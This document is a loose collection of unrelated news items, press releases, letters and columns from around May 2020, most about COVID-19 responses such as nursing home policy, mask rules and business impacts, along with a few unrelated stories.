The tally doesnt include elderly residents who were rushed to hospitals and later died at those facilities.

The Isabella Geriatric Center is shown on May 1, 2020, in New York City, N.Y. (Frank Franklin II/AP Photo)

Asked why he didnt change the March 25 directive sooner, Cuomo told reporters on May 10: I dont know the March 25

He and other officials have repeatedly said nothing was done wrong.

It was their obligation to inform. And it is their obligation to call the Department of Health and say, You have to come get this person, I cant care for them, Cuomo said at the same press conference of nursing home operators.

Musing the next week that older people would have died no matter what was done, Cuomo said nobody would be prosecuted for any deaths from COVID-19. When told some relatives of elderly who died wanted accountability and alleged certain rules would have saved lives, he added: I dontlook, people rationalize death in different ways. I dont think there is any logical rationale to say they would be alive today.

Speaking to reporters Wednesday, the governor blamed President Donald Trumps administration, claiming state officials utilized federal guidance to create their rules.

Nursing home workers hold a vigil outside of the Downtown Brooklyn Nursing and Rehabilitation Center in New York, N.Y. on May 21, 2020. (Stephanie Keith/Getty Images)

Seema Verma, administrator of the Centers for Medicare and Medicaid Services, said federal guidance stressed that operators who couldnt properly care for patients shouldnt accept them.

If nursing home operators couldnt follow the guidance then the transfer must wait until the patient is no longer subject to COVID-19 precautions, or the resident can be transferred to another facility that can provide the care, Verma said in a statement.

A number of groups, family members, and officials opposed the order when it was first made.

The Society for Post-Acute and Long-Term Care Medicine called the mandate deeply concerning, stating in a resolution that admitting patients with suspected or documented COVID-19 infection represents a clear and present danger to all of the residents of a nursing home.

Jeffrey Nichols, part of the groups executive committee, told the Associated Press: the effect of that order was to contribute to 5,000 deaths.

The order led to the infection of a great number of people in nursing homes who had no business getting infected, added John Dalli, a New York attorney who focuses on cases involving nursing homes.
An Illinois state lawmaker was removed from the House's first session for refusing to wear a mask.

Rep. Darren Bailey's fellow lawmakers voted 97-12 on Wednesday to have the Xenia Republican removed from the Bank of Springfield Center in its first session since March 5.

The vote came immediately after the House adopted new rules to follow while in session during the COVID-19 pandemic with a 97-12 vote. The rules include wearing a face covering, adhering to a six-foot distance, agreeing to a temperature check when entering the building and other precautions.

Most lawmakers and staff members wore masks while strolling onto the Bank of Springfield Center floor and most only removed them to eat provided lunches, which is the lone exception to the rule.

An unmasked Bailey entered through a public entrance crowded by protesters wanting to "open Illinois" and chanting "Bailey." He continued to not wear a mask as he spoke to others and as lawmakers got situated on the House floor.

There were 109 of the 118 House members present for the roll call prior to starting session.

Immediately upon convening, both House Republicans and Democrats split up to meet in their respective caucuses. Democrats remained on the House floor for caucus while Republicans moved to another area of the BoS Center.

Rep. Emanuel "Chris" Welch, D-Hillside, then asked Bailey, who was still not wearing a face covering, if he would comply with the new rules. Bailey answered, "I will not, thank you."

The House voted, 81-27, in favor of removing Bailey from the floor for not following the rules and he was escorted out the back doors of the convention center floor.

Rep. Dan Caulkins, R-Decatur, backed Bailey prior to the vote.

"Every person in this room is free of COVID-19," Caulkins said. "We've all taken a test. There isn't one person in here that's infected. This is the safest building, public space in the state of Illinois. We are social distancing, we're maintaining our space and if someone chooses to exercise their right, I don't think we should take punitive action against them."

Although all lawmakers had to be tested before session, Rep. Michael Zalewski, D-Riverside, pointed out that "None of us can guarantee we're COVID negative over the course of the next three days."

House Republican Leader Jim Durkin asked members to comply with the new rules before Bailey was voted out. Durkin voted in favor of removing Bailey.

Bailey has been one of the most outspoken lawmakers against Gov. JB Pritkzer's stay-at-home order. He was the first to file a lawsuit that temporarily exempted him from the order. He has since vacated the temporary restraining order that the Clay County court granted him last month, noting that he would file an amended lawsuit.

Pritzker acknowledged Bailey's dismissal during his daily coronavirus briefing Wednesday.

"The representative has shown a callous disregard for life, callous disregard for people's health," Pritzker said. "You just heard a doctor tell you why people wear masks in the first place. It's to protect others. So clearly the representative has no interest in protecting others."
"Were gradually moving in that direction, but theres no doubt, the most important thing is we do not want parishioners to get ill because their faith leaders bring them together. We hope that faith leaders will continued to do what the vast majority have done, which is to worship sometimes online, sometimes in other capacities, as weve talked about outdoor and drive-in.
EU permission will increase company's business network to 90 plus countries; Currently exports to 60 plus countries Export Sales have increased to 61% of total sales in FY20 from 11% of total sales in FY11. Company has almost doubled the export turnover in FY 20 as compared to FY 18. Look to expand portfolio in lifestyle & chronic segment especially in Dermatology, Gastro and Pain Management Company has vision to enter the league of 'Top 50 pharma cos' of India in the near future

Ahmedabad based Lincoln Pharmaceuticals Limited, one of India's leading healthcare companies has received the European Union (EU) GMP certification from Germany FDA for its manufacturing facility located at Khatraj in Gujarat. The certification will allow the company to market its products in all the 27 member countries of EU and also give access to the European Economic Area (EEA) countries. Company looks to enter the EU markets very soon with its dermatology, gastro and pain management products and gradually expand product portfolio.

The inspection was done by the regulatory agency in December 2019 followed by final approval in May 2020. The company manufactures wide-range of drugs at its Khatraj facility and includes anti-infective, respiratory system, gynaecology, dermatology, gastro, pain management, cardio & CNS, anti-bacterial, anti-diabetic, anti-malaria among others.

Mahendra Patel, Managing Director, Lincoln Pharmaceuticals Limited, said, "We are very pleased and excited to receive the EU GMP accreditation. This will be an important stepping stone in the journey of the company and will help to expand its presence in more regulated markets. The approval is valid for all three departments Tablet, Capsule and Cream & Ointment, which will cover wide range of Pharmaceutical Formulation manufactured by the Company. EU GMP approval is the result of stringent quality and compliance norms followed at Lincoln Pharma across all departments especially the R&D and compliance. The certification will allow us to address the growing needs of patients in the EU markets and provide affordable and innovative medicines."

With the EU certification, company will expand its business network to 90 plus countries. Company currently exports to 60 plus countries including East & West Africa, Central & Latin America and Southeast Asia and has got many product registrations in these countries and is also awarded with number of global tenders.

Export business has shown remarkable growth in the last few years. Exports have increased to 61% of total sales in FY20 from 11% of total sales in FY11. Company has almost doubled the export turnover in FY20 as compared to FY18. Export of the company stood at Rs. 227 crore in FY 20 as compared to Rs. 197 crore in FY 19, a growth of 15% Y-O-Y.

"Over the years, company has seen good traction in the export business, which is expected to get further boost once EU operations begins. For the next phase of growth, company is building a strong portfolio in lifestyle and chronic segment especially dermatology, gastro and pain management to complement its strong presence in acute segment. Strategic growth initiatives, EU approval, new product approvals, better margin products along with operational efficiency are likely to contribute healthy growth and maximise value for all stakeholders in the near to medium term," said Mr. Patel.
DENVER, May 21, 2020 /PRNewswire/ -- Denver-based international tour operator, STORY Land & Sea, known for its industry-leading early adoption of 'small group touring,' announced today that its entire collection of tours for the 2020 Fall Season will feature a maximum of eight (8) guests.

"For STORY branded tour departures in September through November 2020, we will feature a maximum of eight guests in our tour groups while also practicing protective tactics while traveling on trains or vehicles as well as in areas where larger crowds may be evident," reported Founder and CEO Mark Story. He added, "This will be in harmony with anticipated travel enhancements from the Italian government (as well as other destinations). And further tactics may be employed as the travel landscape continues to change, but ultimately the health of our guests and staff is of first importance."

The announcement continues, "While onboard our vehicles, all STORY Guests will be asked to wear protective face masks. Additionally, in any confined areas or spaces where there are crowds, protective face masks will be advised. Please know, we will sanitize our vehicles including: onboard hand-rails, seats/seat backs and tops, and will perform a complete sanitization of the vehicle prior to boarding and each time our group re-boards each day (eg., a cleaning will take place while on a sightseeing excursion and before STORY Guests return to the vehicle)."

Smart Travel: Health & Safety on STORY Adventures with Maximum of 8 Guests

Keeping the focus on the health and safety of Guests and Staff, STORY along with government tourism agencies, such as Italy's ENIT, are working together to develop smart social distancing guidelines. "The good news is, on a STORY adventure your total time onboard a vehicle is very short compared to other tour operators," said Story.

STORY will continue to review the travel environment and make adjustments for 2021 and 2022 as necessary. For now, the above changes are set for travel through the end of 2020.

SOURCE STORY Land & Sea

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I have to surrender to the fact that people are going to do what they want to do. I can get the word out, I can distribute masks, I can give people resources, she said. But there is only so much I can do when people think the right thing to do is to go to a restaurant or bar in Indiana and come back home.
Mazda is one of the automakers that have been more forthcoming with how the COVID-19 pandemic has affected its bottom line. The Japanese brand had previously adjusted its production projections in March, in light of the viral crisis and the shutdown to operations it caused, but those numbers currently appear to be unattainable.

Short of revealing the actual numbers, Mazda announced that it is compelled to adjust its projections once again.

Though things have started to shift towards recovery, we decided to maintain the production adjustment put in place since March through into June, as we still havent reached pre-production adjustment levels, the company said in a public statement.

mazda.com

Although we expect it to take a long time before the global market will return to pre-pandemic levels, we will proceed cautiously with business in order to ensure that we can meet requests from customers considering to buy Mazda vehicles, while continuing to implement infection prevention measures, Mazda added.

As lockdown restrictions relaxed around the globe, Mazda has gradually resumed operations while making sure current practices are in line with the health restrictions and requirements of each jurisdiction.

Mazda has also restarted delivery of vehicles to depots and dealerships while monitoring inventory at each touchpoint where delivery was previously suspended.

All of Mazdas factories in Japan (Ujina Plant No.1, Ujina Plant No.2, Hofu Plant No.1 and Hofu Plant No.2) will only have day-shift operations for the entire month of June. The brands factory in Mexico (Mazda de Mexico Vehicle Operation), which ceased operations from April to May, will restart operations in June.

Along with the reopening of its Thailand plant, where the company builds the Mazda 2, Mazda 3, Mazda BT-50 and Mazda CX-3, the Japanese marque expects its total volume for June to be more than double the amount in May.

mazda.com

To reduce the impact of its production adjustment on local business partners, Mazda is discussing steps for financing and/or retaining employees with them, while also performing its corporate social responsibility (CSR) by supporting medical professionals and commuters.

Story continues

Last April, Mazda North America launched a CSR initiative dubbed the Essential Car Care program. Developed in partnership with Mazdas American dealership network, the program was meant to provide free standard oil changes and enhanced cleaning services for U.S. healthcare workers at participating dealers nationwide.

Photos from Mazda

Also read:

2020 Mazda CX-30 Makes US Debut, Other Markets to FollowIncluding PH?

Mazda Is Now 100 Years Old
Nowhere in Tulare County defies Newsom (Page 1, May 21), about how this rural San Joaquin Valley Countys Board of Supervisors voted to allow its commercial establishments to welcome back the public, despite not meeting new criteria for phasing out state shelter-in-place orders, is this: In the 2016 presidential election, Hillary Clinton received over 60% of Californias popular vote, but around 53% of Tulare Countys voters chose Donald Trump instead.

And, like President Trump, Tulare residents are more interested in rushing to fully reopen all businesses without first heeding all current scientific COVID-19 data and ensuring that proper testing protocols are in place.

Our economy is certainly hurting at this time, but lets not unnecessarily add to our nations coronavirus death toll, which is approaching 100,000 Americans, by moving forward too quickly.

Esmerelda Gutierrez, Daly City

A new place to work

Concerning Tulsa wants Tesla (Business, May 21): Its somewhat ironic that this city in the state of Oklahoma might become the site of a new Tesla assembly plant. Tulsa (according to onlyinyourstate.com) is ranked high on a list of U.S. cities with the worst roads, and its residents spend roughly $928 annually to pay for car repairs that result from them. Tesla CEO Elon Musk will not only create more jobs in Oklahoma if he chooses this location to build his electric cars, but also provide more business for the people who repair them.

Nigel Llewlyn, South San Francisco

Protest with music

After reading Censored song (News of the Day, May 21), about how a public radio station in Poland is being accused of censorship after removing a popular song alleging abuse of power by Polands ruling party leader, Jaroslaw Kaczynski, I wondered: Would our authoritarian-minded President Trump try to do the same thing?

Id like to suggest that every U.S. radio station whose general managers are fed up with this Oval Office occupants repeated attacks on our free press and attempts to consolidate his executive branch powers add Twisted Sisters Were Not Gonna Take It to their playlists in heavy rotation. Interestingly, this song was very popular when it was first released in the very Orwellian year of 1984.

Fred Van Vliet, Petaluma

Explore creative options

Regarding Pastors, Justice push state to let churches open (Page 1, May 21): Mega-litigants like the GOPs Harmeet Dhillon might want to consider the creative and supportive actions of Terry Inman, pastor at Harbor Light Church in Fremont, who is exploring creative ways in which he and his congregants can worship and serve outside of church walls. Instead of an opportunity to file lawsuits, our communities could be better served by expanding our support and encouragement where we live, work and recreate.

Philip Reinheimer, Penn Valley, Nevada County

Fragmented nation

The latest victim of the pandemic is order and lawfulness. As impatience with sheltering in place, the desire to reopen the country and getting back to work grows, anarchy has begun to creep throughout our country.

It may seem inconsequential but it could be just the beginning of splintering the fabric of our system of government.

Tulare County is defying the states orders on reopening. Throughout the nation, citizens are defying stay-at-home orders and social distancing, protesters are showing up heavily armed at state capitols and the president encouraged people to defy their governors. As with any change, is this the slippery slope that will become slicker, moving with such speed that chaos becomes the norm and order and rule of law is just a fading memory? Will the U.S. become the Wild West? Too often, short-term gains have long-term, dangerous consequences.

Christine DeLapp, Aptos

Hear the cheers

Regarding Cracking the door open a bit (Sports, May 19): Seeing pictures of fans attached to the Happy Dream Ballpark seats for a game in South Korea had me thinking ... what if they could cheer?

All thats needed are inexpensive laptops with serious volume capabilities. Fans would be eager to put their faces on them and to let their voices be heard. And Id think theyd be happy to pay for the privilege. I certainly would. This will eliminate the empty stadium problem and the need to pipe in fake crowd noise. There is, however, a time lag between the actual play and the video feed that would have to be addressed. After all is said and done and we go back to relative normal, the laptops could be a charitable donation to needy kids. Everybody, the players, fans, kids and owners wholl get a nice write-off, wins. And the TV networks would love to run with this.

Michael Haworth, Vallejo

Emoji face masks

Regarding Hidden smiles (Page 1, May 21): If youre looking for social cues that normally are communicated through facial expressions in these coronavirus mask-wearing times, heres a suggestion: Create or buy (from enterprising sewers) an emoji mask.

It could feature smiley faces, heart-eyed faces, and a host of others either drawn on fabric or applied as interchangeable patches held by Velcro.

Constance Cummings, San Francisco

Thankful for the poetry

In our present world of harsh facts and depressing figures, I am heartened by the daily dose of fine poetry included on this editorial page. I look forward to reading the perspective expressed by the talented group of writers who convey through metaphor and image what we are feeling and experiencing. My battered soul finds solace.

Pamela Levy, Burlingame

Billionaire donations

If each of Californias 165 billionaires donated over $42 million, the $7 billion cut in funds to education would be covered.

Perhaps Sen. Dianne Feinsteins husband would like to be the first to step up and set a good example.
New Delhi, May 22 : The National Restaurant Association of India (NRAI) said that a four-member delegation of the industry body had a meeting with Finance Minister Nirmala Sitharaman, through video conferencing, on Thursday to discuss urgent industry-specific issues.

In a statement, NRAI said that the meeting was also attended by Economic Affairs Secretary Tarun Bajaj and Revenue Secretary Ajay Bhushan Pandey. The NRAI delegation included its President Anurag Katriar among others.

The delegation spoke about the core issues impacting the sector due to Covid-induced lockdown and sought policy and liquidity support, which are unlikely to put any major strain on the state exchequer.

The industry body reiterated the need for pay support for its lower-end employees through the ESIC corpus. Out of around 3.20 crore beneficiaries of the ESIC scheme, over 50 lakh belong to the hospitality sector, as per NRAI.

It also requested the Finance Minister to make available urgent working capital support at the lowest possible interest, as close to the repo rates, with a six month moratorium for the restaurant industry.

Further a 'Force Majeure' declaration was also sought towards rent payment. The delegation also proposed regulation and capping of discount and commission by online platforms.

The four-member delegation also requested for allowing an option to avail Input Tax Credit (ITC) on GST for the restaurant industry. Proposal was also made to have dual rates, current 5 per cent for those not availing ITC and 12 per cent for those availing ITC.

NRAI also requested refunds for all pending tax claims be expedited.

On the meeting with the Finance Minister, NRAI President Katriar said: "We conveyed to them that we are fighting a grim battle for our existence and we will need urgent policy and liquidity support from the government to survive this phase. We informed them that if we fail to do so, it may lead to massive job losses in the sector.

"Each issue was discussed in detail and she (the Finance Minister) has promised to look into all of these issues at the earliest. She also gracefully offered to hold a more detailed meeting at a later date," he said.

-- The story has been published from a wire feed without any modifications to the text
BLOOMFIELD HILLS, Mich., May 21, 2020 /PRNewswire/ -- Sqwirrel LLC, a Michigan company, has developed patent-pending technology utilizing a combination of enterprise mobile apps, with Bluetooth tags and scanners to bring employees back to their workplace called "CompanyTRAK". The solution provides a safe way to get employees back to work, keep them mindful of social distancing and alert them to possible risks of exposure from symptomatic, positive tested and exposed employees. CompanyTRAK helps HR and internal health professionals manage exposure to COVID within their company and to isolate all exposed individuals.

CompanyTRAK

CompanyTRAKTM follows employee interaction with other employees from the time they enter the building using Geofencing technology. "We first announced our public solution, ViralTRAK in April," according to Varchasvi Shankar, President & CEO of CompanyTRAK, "where I was able to give an in-depth overview of the public app in a featured segment on WXYZ Channel 7, an ABC local affiliate. If any of the members test positive, they simply press a button in the app. All the app members who have been in the CDC recommended safety distance in the past 14-days of that member who tested positive would be notified of possible exposure."

CompanyTRAK uses a proprietary, advanced location services model plus technology add-ons without collecting any personal information. The solution identifies which employees have been within the CDC recommended parameters of the self-reported symptomatic or positive tested employees over a 14-day period. It identifies primary and secondary exposure, which is unique to CompanyTRAK. The Admin Portal helps company HR and other authorized personnel to manage employees with daily PPE and temperature checks that employees need to follow.

The solution went from ideation to fully functional in just a few weeks, utilizing our existing technology framework and platform solutions. We are working to develop additional use cases to help companies get back to work and keep their employees safe.

"Using CompanyTRAK helps employees feel safe and maintains the current social distancing rules. We are working on ways to bring this to other industries including hospitals and schools," said Ray Drzala, Marketing Director. "We are learning more about increasing government requirements and company needs as we continue with conversations about our solution."

CompanyTRAK is currently being tested at multiple sites and available on Apple and Android Enterprise App Stores for corporations. "This solution can help us get back a little closer to normal and aid significantly in business continuity to identify exposed employees within companies," said Varchasvi Shankar, President & CEO. You can find more information at www.companytrak.com.

CompanyTRAK a product of Sqwirrel, LLC, subsidiary of V2Soft, Inc. V2Soft a technology company providing technology solutions, product development and consulting. For information go to www.v2soft.com or contact us at [email protected]. Both companies are headquartered in Bloomfield Hills, Michigan.

Media Contact: Ray Drzala, (248)904-1717, [email protected]

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SOURCE CompanyTRAK

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If I were Gov. Tom Wolf, Id say, Hey, Fetterman, its all yours. Im heading down to York County, taking off my tie, sitting in my recliner and watching Netflix. Good luck.

And if I were Dr. Rachel Levine, Id say, Wait for me, Tom. Im right behind you.

Nobody deserves what the two of them have endured since they took on the invisible enemy known as COVID-19. Nobody.

Have they done everything just right? Probably not. But wheres the playbook? Who has tackled this before?

In the beginning, when the virus first hit the fan, I heard dozens of people say how secure they felt watching Wolf and Levine. Their calm in the face of the unknown comforted the commonwealth.

People felt as if Wolf and Levine were getting the best information from the best experts and doing the best they could to keep us safe.

Then the whining started.

Oh, I cant take my kids to the playground.

Oh, my doggies toenails are too long.

Oh, my grey roots are showing.

Me, me, me, me, me.

Waiting in the wings were a bunch of Pennsyltuckians. They climbed out of their bunkers, pulled on their camo, grabbed their assault rifles, fired up their pickup trucks and began screaming about their constitutional rights.

This roused a couple of handfuls of politicians desperate for media attention.

Heck, they said, Wolf cant tell us what to do. Forget red, yellow, green, were going to give these people what they want.

When the governor didnt back down, a few of them started talking about impeachment. They dont just want to impeach Wolf; they want to cast out Levine, too.

And just who, I wonder, do they think could do a better job?

Who would they have stand up every day to tell the states 12-plus million people how many of their neighbors are sick or dead?

Who do they think is intelligent enough to listen to the experts, to devise a plan to keep the rest of us safe?

Who is calm enough to persist in the face of insults and name-calling and accusations?

I wouldnt want to do it. Would you?

On this Memorial Day weekend, some of the whiners and Pennsyltuckians should stop and think about what other generations were asked to do.

Think about my parents generation. Men were sent to Italy, France and North Africa to battle Hitler or dropped in the middle of the Pacific Ocean to take on Japan.

Women at home took on mens factory jobs and depended on ration cards for groceries and shoes.

Boys in my graduating class were whisked off to Vietnam and came home in body bags.

Think Iraq and Afghanistan. Then tell me that wearing a mask violates your constitutional rights.

Ive met Gov. Wolf only once or twice. Ive met Dr. Levine once or twice too. Im sure they dont remember. We arent buddies or friends, but I respect them both for what they are doing day in and day out to keep the rest of us safe.

Still, I wouldnt blame either of them if they threw up their hands and said, Im out of here.

But I hope they dont. And I hope, despite the noise and distractions, that they know a lot of other Pennsylvanians agree they are doing the best they can in a time unlike any other.

NANCY ESHELMAN: columnist1@verizon.net
The number of coronavirus infections in Serbia increased by 105 in the past 24 hours to reach 11,024, while the number of coronavirus-related fatalities remained at 237, the national health ministry said Friday, Trend reports citing TASS.

Over the past 24 hours, no new deaths were reported, the death rate now stands at 2.15%. Moreover, 12 people are put on ventilators. In a single day, 5,998 people were tested for the virus, with 105 tests coming back positive. The number of newly confirmed infections increased slightly, as Thursdays figures showed 86 new infections.

Overall, 744 people are taken to hospitals after testing positive for coronavirus, while 209,797 people were tested nationwide.

Serbia reported its first coronavirus case on March 23.

Earlier, Serbia asked Russia for help to fight the epidemic. Between April 3 and May 18, a Russian unit fully disinfected medical facilities in more than 40 cities and towns across Serbia. Moreover, eight medical brigades treated 881 coronavirus patients.

In late December 2019, Chinese officials notified the World Health Organization (WHO) about the outbreak of a previously unknown pneumonia in the city of Wuhan, in central China. Since then, cases of the novel coronavirus - named COVID-19 by the WHO - have been reported in every corner of the globe.

On March 11, 2020, the WHO declared the coronavirus outbreak a pandemic. According to the latest statistics, over 5,198,300 people have been infected worldwide and more than 334,600 deaths have been reported. In addition, so far, over 2,000,000 individuals have recovered from the illness across the globe.
British watchdog clears Johnson of criminal wrongdoing: British Prime Minister Boris Johnson will not face a criminal investigation into whether he offered special favors to American tech entrepreneur Jennifer Arcuri while he was mayor of London, from 2008 to 2016. The Independent Office for Police Conduct said that while "there may have been an intimate relationship" between the two, "we found no evidence to indicate that Mr. Johnson influenced the payment of any sponsorship monies to Ms. Arcuri, or that he influenced or played an active part in securing her participation in trade missions."
CHAGRIN FALLS, Ohio -- If you are looking for something deeper than a breezy summer beach read this season, the Case Western Reserve University Siegal Lifelong Learning program is offering online classes in classic -- and sometimes complex -- literature.

From the secrecy, shame and scaffolds in Nathaniel Hawthornes The Scarlet Letter and the illusion vs. reality in Shakespeares plays to the sometimes obtuse James Joyces Ulysses, the series will keep you entertained. You can also explore ancient Greek democracy with Aeschylus writings.

The online classes are Tuesdays and Thursdays, with different start dates and times.

Angela Fasick, instructor with Siegal Lifelong Learning, offers her classes on Hawthorne from 10 to 11:30 a.m. Thursdays, May 28 through June 18.

CWRU teaching fellow Barbara Burgess-Van Aken presents the Shakespeare classes from noon to 2 p.m. Tuesdays, June 9-30.

Timothy Wutrich, CWRU senior instructor of classics, explores democracy in Periclean Athens through dramatist Aeschylus from 9:30 to 11:30 a.m. Tuesdays, July 7-28.

CWRU English instructor Steve Pinkerton will be your guide through Ulysses from 1 to 3 p.m. Tuesdays, July 7 through Aug. 11.

For pricing and details, consult case.edu/lifelonglearning or call 216-368-2091.

Hes got to be good: Richard Smucker and the J.M. Smucker Company recently received the seventh annual Maltz Heritage Award. As is the case with most gatherings this year, the celebration was held virtually.

Traditionally, the honoree accepts the award at a major spring event held at the Cleveland Museum of Art. But with the states stay-at-home orders due to the coronavirus pandemic, The Maltz Museum of Jewish Heritage launched a website to post Smuckers accomplishments and why he and his company were chosen for the award.

Their commitment to philanthropy and community engagement, along with helping to transform the region, were highlighted in a press release from the museum. Co-founder Milton Maltz lauded the Smucker familys reputation for integrity and decency, stating it has been the key to the companys success.

To view the virtual program, which includes messages from past honorees and community leaders, contact maltzheritageaward.org.

Virtual graduations: Northeast Ohio Medical University held a virtual ceremony May 2 for its newly minted physicians, pharmacists, researchers and other professionals receiving degrees as part of the universitys 40th graduating class.

The event included pre-recorded components of a traditional ceremony, along with live student participation via Zoom. The students interacted in real-time and celebrated as their names were called to receive their degrees from the comfort of their homes.

The university, located in Rootstown, trains students for degrees in medicine and pharmacy, along with masters and doctoral degrees and research opportunities. Contact neoed.edu.

Unable to hold a graduation ceremony on campus, Ohio Wesleyan University recognized its graduates with a celebration video, available on youtube.com/ohiowesleyanu. Chagrin Valley graduates include business student Jack Cherry and management economics student Jackson Markley. Finance economics student Caroline Kermode graduated summa cum laude. The private liberal arts school offers about 90 undergraduate majors.

Ashland University announced its spring graduates recently, including Brian Cieszykowski, Hayley Harris and Michael Rendlesham. Early childhood education and intervention specialist Harris graduated magna cum laude and with Gamma Alpha Kappa honors. Cieszykowski majored in communication studies, while Rendlesham studied sport management.

The University of Mount Union held its virtual graduation May 16, but it hopes to hold a formal commencement ceremony at a later date. Solonite Mollianne Dunn graduated magna cum laude with a degree in middle childhood education. Kaela Jackson, also of Solon, studied human resource management, while Valerie Russell of Moreland Hills graduated cum laude with a degree in exercise science.

Mechanical engineering student Tyler Cooper of Chagrin Falls graduated magna cum laude, and Emma Thombs received her exercise science degree summa cum laude. Other Chagrin Falls graduates include James Novinc, with studies in marketing and public relations, and David Sebuke, who studied biology and Spanish. Contact mountunion.edu/commencement.

Cudos to Fulbright scholar: Miami University of Ohio student Elizabeth Martin is one of 10 Fulbright semifinalists offered a 2020-2021 grant. According to the university, it is the largest number of grants the school has received in a single year. Since 2000, 59 Miami University students and alumni have received the grants. The Fulbright program provides grants for individual study and research projects and for English teaching assistant programs outside of the United States.

To post your news and events, contact Rusek at jcooperrusek@gmail.com.

Read more from the Chagrin Solon Sun.
Xiaomi has confirmed multiple aspects of the Redmi 10X ahead of its launch on May 26. Confirmed to be the first smartphone powered by a MediaTek Dimensity 820 chipset, the Redmi 10X will also have an AMOLED display and dual 5G connectivity.

Working For Notebookcheck Are you a techie who knows how to write? Then join our Team! English native speakers welcome! News Writer (AUS/NZL based) - Details here

Xiaomi is not wasting time with its Redmi brand. Despite having recently released the Redmi Note 9 series, the company is already gearing to release the Redmi 10X. The device, formerly thought to be called the Redmi Note 10 series, has been spotted several times in the last few days, including the TENAA. AnTuTu and Geekbench have confirmed that the Redmi 10X will be the first device to be powered by the MediaTek Dimensity 820.

Now, Xiaomi has confirmed on Weibo that the Redmi 10X will support dual 5G SIMs. Naturally, the device will support dual 4G connectivity, too.

Additionally, the Redmi 10X will feature an AMOLED panel, an improvement over the LCD one in the Redmi Note 9. Confirmed to be a Samsung panel, the Redmi 10X will support always-on-display (AoD) functionality.
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The global vibration monitoring market size is anticipated to reach USD 3,574.3 million by 2026 according to a new research published by Polaris Market Research. The report Vibration Monitoring Market Analysis Report By Component (Hardware, Software, Services); By Monitoring Process (Online, Portable); By End-User (Automotive, Chemical, Aerospace and Defense, Food and Beverages, Construction, Mining, Oil and Gas, Others); By Regions: Market Size & Segment Forecast, 2019  2026provides a complete analysis of present market trends and future insights.

In 2018, the hardware segment accounted for the highest market share in terms of revenue. North America is expected to be the leading contributor to the global Vibration Monitoring market revenue in 2018. The increasing modernization of factory equipment, and stringent regulations regarding energy efficiency and workforce safety majorly drive the market growth.

The growing adoption of IoT, cloud-based technologies, and machine learning further supports the growth of the market. The growing need to streamline operations for improving productivity and safety, while reducing maintenance time and cost would increase the adoption of vibration monitoring systems during the forecast period. Other driving factors include technological advancements, increasing adoption of smart factories, growing adoption of embedded systems, and increasing demand from emerging economies.

Get sample copy of this report @ https://www.polarismarketresearch.com/industry-analysis/vibration-monitoring-market/request-for-sample

Vibration monitoring systems ensure that data is organized and decisions can be made efficiently. They collect real-time information, offer historical trends and graph data for further analysis. They generate alarms when abnormalities occur and send instant alarms to smart devices. They sense concerns such as imbalance, misalignment, bearing wear and looseness and provide predictive maintenance.

North America generated the highest market share in the Vibration Monitoring industry in terms of revenue in 2018, and is expected to lead the global market throughout the forecast period. The presence of established telecom and cloud infrastructure in this region, and growing trend of IIoT has accelerated the market growth in the region. The growing demand of mobile devices, automation of manufacturing process, increasing safety concerns, and technological advancements generate numerous opportunities for the market in this region.

The well-known companies profiled in the report include National Instruments Corporation, Emerson Electric Co., Bruel & Kiaer Sound & Vibration Measurement A/S, Meggitt PLC, Honeywell International Inc., Schaeffler AG, Analog Devices, Inc., SKF AB, General Electric, and Azima DLI Corporation. These companies are consistently launching new products to enhance their offerings in the Vibration Monitoring industry. With the advancement of technologies, companies are innovating and introducing new customized products to cater the growing needs of the customers. Leading companies are also acquiring other companies, and enhancing their product offerings to improve their market reach. Acquisitions enable key players to increase their market potential in terms of geographic expansion and expansion of customer base.

Complete Summary with TOC Available @ https://www.polarismarketresearch.com/industry-analysis/vibration-monitoring-market

Polaris Market research has segmented the vibration monitoring market on the basis of component, monitoring process, end-user, and region.

Component outlook (Revenue USD Millions, 2015  2026) Hardware Software Services

Monitoring process outlook (Revenue USD Millions, 2015  2026) Online Portable

End User outlook (Revenue USD Millions, 2015  2026) Automotive Chemical Aerospace and Defense Food and Beverages Construction Mining Oil and Gas Others

Regional outlook (Revenue USD Millions, 2015  2026) North America U.S. Canada Mexico Europe Germany UK France Italy Asia-Pacific China India Japan Latin America Brazil Middle East & Africa



Avail discount on this report @ https://www.polarismarketresearch.com/industry-analysis/vibration-monitoring-market/request-for-discount-pricing

About Polaris Market Research

Polaris Market Research is a global market research and consulting company. The company specializes in providing exceptional market intelligence and in-depth business research services for our clientele spread across different enterprises. We at Polaris are obliged to serve our diverse customer base present across the industries of healthcare, technology, semi-conductors and chemicals among various other industries present around the world. We strive to provide our customers with updated information on innovative technologies, high growth markets, emerging business environments and latest business-centric applications, thereby helping them always to make informed decisions and leverage new opportunities. Adept with a highly competent, experienced and extremely qualified team of experts comprising SMEs, analysts and consultants, we at Polaris endeavor to deliver value-added business solutions to our customers.

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Source: Xinhua| 2020-05-22 16:07:47|Editor: huaxia

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MANILA, May 22 (Xinhua) -- The COVID-19 pandemic fallout has bitten into the Philippine tourism sector, with international visitor arrivals in the country fell by more than half in January to April this year over the same period of last year.

"For the first four months of 2020, the DOT recorded a 54.02 percent decrease in foreign arrivals, the Philippine Department of Tourism (DOT) said in a statement on Friday.

The declaration of lockdown in mid-March restricted land, air, and sea travel and suspended mass transportation. The lockdown led to the suspensions of all incoming and outgoing flights, except for international and domestic sweeper flights to repatriate foreigners out of the Philippines and to brings in distressed Filipinos from abroad.

Tourism Secretary Bernadette Romulo-Puyat revealed in the statement that the government has prepared initial safety plans and protocols for travelers and tourism enterprises for the new normal in travel after lifting community quarantine in the future.

According to Puyat, the safety plans and protocols include regular sanitation and disinfection, regular inspections of tourism establishments, and implementation of physical distancing measures for tourist transportation and limiting the customer capacity of accommodation and tourism-related enterprises.

In 2018, the tourism industry made up 12.7 percent of the Philippines' GDP and provided 5.4 million jobs for Filipinos.

More than 8.2 million foreign tourists visited the Philippines in 2019.

The Philippines' tourism revenue from foreign arrivals has plunged around 35 percent in the first three months of 2020. Enditem
DECATUR, Ga.  Georgias state investigation into the fatal shooting of Ahmaud Arbery should be finished soon, the official in charge of the inquiry said Friday while the prosecutor who will try the case in court pledged to make sure that we find justice for a broken family and community.

Georgia Bureau of Investigation Director Vic Reynolds told a news conference that he anticipates his agency will wrap up its investigation in a relatively short period of time. The announcement followed the arrest Thursday of a third suspect  the man whose cellphone video of Arberys shooting stirred a national outcry.

At this point, we feel confident the individuals who needed to be charged have been charged, Reynolds said at GBI headquarters in Decatur.

